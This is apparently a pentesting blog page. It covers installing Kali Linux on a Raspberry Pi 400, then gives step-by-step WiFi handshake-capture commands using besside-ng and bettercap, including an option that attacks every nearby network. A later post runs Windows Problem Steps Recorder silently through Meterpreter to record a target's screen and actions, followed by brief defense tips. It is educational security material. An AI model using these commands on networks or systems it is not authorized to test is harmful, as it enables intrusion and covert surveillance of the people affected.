Pi 400 & Kali Linux – The Perfect $100 Hacking System

The Pi 400 makes creating a hacking system with Raspberry Pi extremely simple – it is literally burn, boot and done!

The Pi 400 is an “all in one” keyboard version of the Raspberry Pi 4. For all intents and purposes, it is a Raspberry Pi 4, though it has been flattened out a bit and the circuitry has been modified to reflect the changes. The Pi 400 is perfect as a hacking system, as you can easily install and use a fully function version of Kali Linux on it.

In this article, we will look at installing Kali, and running some quick WIFI attacks. All that is needed hardware-wise for this article is the Pi 400 (complete kit) and a Kali compatible USB WIFI adapter. I used an TL-WN722N (v1!) and an Alfa AWUS036NHA, both worked “Out of the Box”.

I know, you can’t get the TL-WN722N v1 adapter new anymore, but there are tons of them out there, and it is one of the best short range WiFi adapters available.

The Pi 400 Complete kit is nice – it comes with the Pi 400, power supply, a memory card, mouse, HDMI cable and a “Raspberry Pi Beginners Guide” book. All you need is a monitor!

The Pi 400 complete kit also comes with a 16GB memory card pre-loaded with RaspiOS. Literally all you need to do is unbox, attach the peripherals, insert the memory card into the Pi, apply power and in a few seconds, we have a Raspbian desktop.

**NOTE: Never insert or remove the memory card when power is applied!

If you have never used a Raspberry Pi before, take your time and play with it. RaspiOS is a very good operating system, and a great way to learn how to use the PI – If you bought the complete Pi-400 kit, the included beginners guide will walk you through using RaspiOS, and more advanced topics like using the GPIO board and sensors.

Though that is not the purpose of this article, we want to turn the Pi-400 into a hacking platform, so let’s get to it!

Installing Kali Linux

Installing Kali Linux on the Pi 400 is very simple. If you are finished using RaspiOS, you can use the memory card from the Pi 400 Kit or just use a new or blank one. All you need to do is download the official Kali Linux Pi 4 64-bit ARM image from Offensive Security, write it to the memory card using a program like BalenaEtcher, then insert the card into the Pi, apply power and boot.

  1. From the Offensive Security Website, under “Raspberry Pi Foundation”, Download Kali Linux 4 (64 bit) image – https://www.offensive-security.com/kali-linux-arm-images/
  • Insert the memory card into the Pi 400, apply power and boot.

You now have a Kali Linux Desktop system!

Okay, So What Doesn’t Work

It’s not a Pi 4, it’s a Pi 400, something must be different, you say. Honestly, the only real difference I have run into so far is that the internal WiFi doesn’t seem to be recognized by Kali. Though it does work in RaspiOS. I am assuming it is some sort of driver issue, I haven’t had a chance yet to troubleshoot. Though I am not heart broken, I rarely use it, and always use a USB WiFi adapter for much better range and reliability.

WiFi Attacks with the Pi 400

Run “ifconfig” and make sure your wireless card is detected, it should show up as wlan0 and/or wlan1, once the onboard wifi driver is fixed.

First, let’s get the lay of the land with Airodump-ng. For the Wi-Fi hacking purists out there, who love iwconfig, Airodump will automatically put the card in the correct monitoring mode for you. All you need to do is run the command.

  • sudo airodump-ng wlan0

Our target, “Death Star” is currently running on Channel 11.

We can go for a “quick kill” using Besside-NG

  • sudo besside-ng -W -c [Channel] -b [Target_BSSID]

If the attack works, we get the WPA handshake file. It only took about 15 seconds; I’ve seen it work as fast as 5 seconds.

The Besside log file and the captured WPA handshake file (wpa.cap) are stored in the user’s home directory.

The handshake file can include a lot of unnecessary packets, you can clean these up with the beside-ng-crawler tool. Though it is really not necessary if just targeting a single target.

  • besside-ng-crawler [search_directory] [output_file]

The handshake file then needs to be cracked.

Bettercap

Bettercap 2 is an awesome Wireless attack tool with a lot more options. It is not installed by default, but is included in the Kali repository.

  • sudo apt install bettercap

Now all we need to do is run bettercap and turn on WiFi recon

  • sudo bettercap -iface wlan0
  • wifi.recon on

Looks a bit confusing, but we can clean it up with the Bettercap “Ticker” Display

  • set wifi.show.sort clients desc
  • set ticker.commands ‘clear; wifi.show’
  • ticker on

We now have nice color-coded display that works great even through SSH.

Now, let’s grab some handshake files:

  • wifi.recon.channel X (enter channel #)
  • wifi.assoc [BSSID]
  • or wifi.assoc all (warning – attacks all detected WiFi networks!)

Notice, “Death Star’s” Encryption type has turned to red. Bettercap successfully grabbed and saved the handshake. When finished, type “exit” to exit bettercap.

Captured handshake files and the bettercap log are stored in the Kali root user directory:

Unless the WPA key is extremely simple, you really don’t want to try to crack them on a Pi4. I highly recommend copying it off to a desktop system.

Conclusion

In this article we saw how to quickly and easily install Kali Linux on the new Pi 400 all in one keyboard system. The Pi 400 is a great choice as a hacking system due to it’s portability and compactness. It also can run a full desktop install of Kali Linux, or any other Pi 4 compatible OS, so your options are many.

We only covered using the Pi 400 in some quick WiFi tests, but as you have the full power of Kali Linux at your fingertips you could perform any level of pentesting with it that you could do with a normal desktop. Okay, it doesn’t have the same power as a high end desktop, so cracking passwords or some enterprise level tests may be out of the questions, but for $100 you can’t go wrong having the Pi 400 in your security testing toolkit.

If you want to learn a lot about security testing with the Raspberry Pi, check out my book, “Security Testing with Raspberry Pi“, available on Amazon.com.

Basic Security Testing with Kali Linux Giveaway Contest

Want a chance to get a signed copy of my latest Kali Linux book? I am giving away a total of 10 signed copies of “Basic Security Testing with Kali Linux, 3rd Edition”!

Simply follow, like and share this article, or my official Twitter or Instagram announcement, for a chance to win a signed copy of my new book!

10 lucky winners will be randomly selected on October 31st.

The Contest is for those living in the United States only. I may do another one for international readers in the future.

Liking this article & sharing the Official Contest announcements on Twitter and Instagram will increase your chances of winning.  Winners will be notified on October 31st. If a winner cannot be notified or does not respond by the end of the first week of November, another winner will be picked.

Good luck!

 

Book Review: Basic Security Testing with Kali Linux 2

Basic Kali 2

A fully updated version of the very popular “Basic Security Testing with Kali Linux” is now available! Now totally re-written from the ground up to cover the new Kali Linux “2016-Rolling” with the latest pentesting tools and Ethical Hacking techniques.

I was honestly shocked how well received the first Basic Security Testing book was received by the security community. But all in all, it was my first book attempt and definitely had room for improvement. I was flooded with requests and advice from students, instructors and even military personnel on recommended changes and ways the book could be improved.

I took every comment to heart and with the help of an amazing editorial and reviewer team, that included a computer security professor and a CTF player, created Basic Security Testing 2!

What’s new:

  • Completely re-written to cover topics more logically
  • Better lab layout that is used consistently throughout the book
  • Written for the latest version of Kali (Kali 2.0 “Sana” & Kali “2016-Rolling”)
  • Includes an introduction chapter for the new Kali 2016-Rolling
  • All tools sections have been updated – old tools removed, new tools updated
  • Now uses PowerShell for most of the remote Windows Shells
  • XP removed, Windows 7 used as the main Windows target (though Windows 10 is mentioned a couple times  🙂  )
  • More tool explanations and techniques included
  • 70 pages longer than original book

What’s the same:

  • Learn by doing
  • Hands on, Step-by-Step tutorials
  • Plenty of pictures to make steps more understandable
  • Covers the same major topics as the original, but using the latest tools
  • The front cover, well, except for the “2”!

My goal was to provide a common sense Ethical Hacking how-to manual that would be useful to both new and veteran security professionals. And hopefully I have accomplished that task. Thank you to everyone for your continuous support and feedback, it is greatly appreciated!

So what are you waiting for, check it out!

Basic Security Testing with Kali Linux 2

 

 

 

 

Using Problem Steps Recorder (PSR) Remotely with Metasploit

Windows includes a built in program that captures screenshots and text descriptions of what a user is doing on their system. This program could be accessed remotely by a hacker. In this article we will see how to run the program from a remote shell using Metasploit.

Introduction

Windows includes a great support program that you have probably never heard of called “Problem Steps Recorder” (psr.exe). Microsoft made this program to help troubleshooters see step-by-step what a user is doing. If a user is having a computer problem that they either can’t articulate well or tech support just can’t visualize the issue, all the support personnel needs to do is have the user run psr.exe.

When PSR runs it automatically begins capturing screen captures of everything that the user clicks on, it also keeps a running dialog of what the user is doing in a text log. When done, the data is saved into an HTML format and zipped so all the user needs to do is e-mail this to the tech support department.

I have honestly never heard of PSR before yesterday when Mark Burnett (@m8urnett) mentioned it on Twitter:

PSR Metasploit 1

Creepy indeed, but I thought that if you could run it remotely, it would be a great tool for a penetration tester. Well, you can! Though running PSR as an attack tool isn’t a new idea. I did some searching and it is mentioned multiple times over the last several years in this manner. Pipefish even mentions using it with Metasploit back in this 2012 article (http://pipefish.me/tag/psr-exe/).

To use Steps Recorder normally, all you need to do is click the start button in Windows and type “psr” into the search box. Then click on “Steps Recorder”.

A small user interface opens up:

PSR Metasploit 2

Just click “Start Record” to start. It then immediately begins grabbing screenshots. It displays a red globe around the pointer whenever a screenshot is taken. Then press “Stop Recording” when done. You will then be presented with a very impressive looking report of everything that you did. You then have the option of saving the report.

PSR can be run from the command prompt. Below is a listing of command switches from Microsoft :

psr.exe [/start |/stop][/output <fullfilepath>] [/sc (0|1)] [/maxsc <value>]
[/sketch (0|1)] [/slides (0|1)] [/gui (0|1)]
[/arcetl (0|1)] [/arcxml (0|1)] [/arcmht (0|1)]
[/stopevent <eventname>] [/maxlogsize <value>] [/recordpid <pid>]

/start Start Recording. (Outputpath flag SHOULD be specified)
/stop Stop Recording.
/sc Capture screenshots for recorded steps.
/maxsc Maximum number of recent screen captures.
/maxlogsize Maximum log file size (in MB) before wrapping occurs.
/gui Display control GUI.
/arcetl Include raw ETW file in archive output.
/arcxml Include MHT file in archive output.
/recordpid Record all actions associated with given PID.
/sketch Sketch UI if no screenshot was saved.
/slides Create slide show HTML pages.
/output Store output of record session in given path.
/stopevent Event to signal after output files are generated.

Using PSR remotely with Metasploit

Using the command line options, PSR works very nicely with Metasploit in a penetration testing scenario. I will start with an active remote Meterpreter session between a test Windows 7 system and Kali Linux. There are many ways that you could do this, but I simply made a short text file as seen below:

  • psr.exe /start /gui 0 /output C:\Users\Dan\Desktop\cool.zip;
  • Start-Sleep -s 20;
  • psr.exe /stop;

The commands above start PSR, turns off that pesky Gui window that pops up when running and turns off the red pointer glow when recording pages. It then saves the file to the desktop.

The script waits 20 seconds and then stops recording.

I then encoded the command and ran it in a command shell:

PSR Metasploit 3
After 20 seconds a new “cool.zip” file popped up on the Windows 7 desktop:

PSR Metasploit 4
This file contained a complete step by step list of everything the user did during the 20 second window. At the top of the file are the screenshots:

PSR Metasploit 5
And at the bottom was the step by step text log:

PSR Metasploit 6
I actually like using PSR now better than Metasploit’s built in screenshot capability, especially with the blow by blow text log that is included. The script also worked well against Windows 10 with some minor tweaks.

Defending against this attack

Problem Steps Recorder can be disabled in group policy. Though I did not see anywhere on how to completely uninstall PSR.

The best defense is to block the remote connection from being created, so standard security practices apply. Keep your operating systems and AV up to date. Don’t open unsolicited, unexpected or questionable e-mail attachments. Avoid questionable links, be leery of shortened URLs and always surf safely.

If you want to learn more about computer security testing using Metasploit and Kali Linux, check out my latest book, “Intermediate Computer Security Testing with Kali Linux 2”.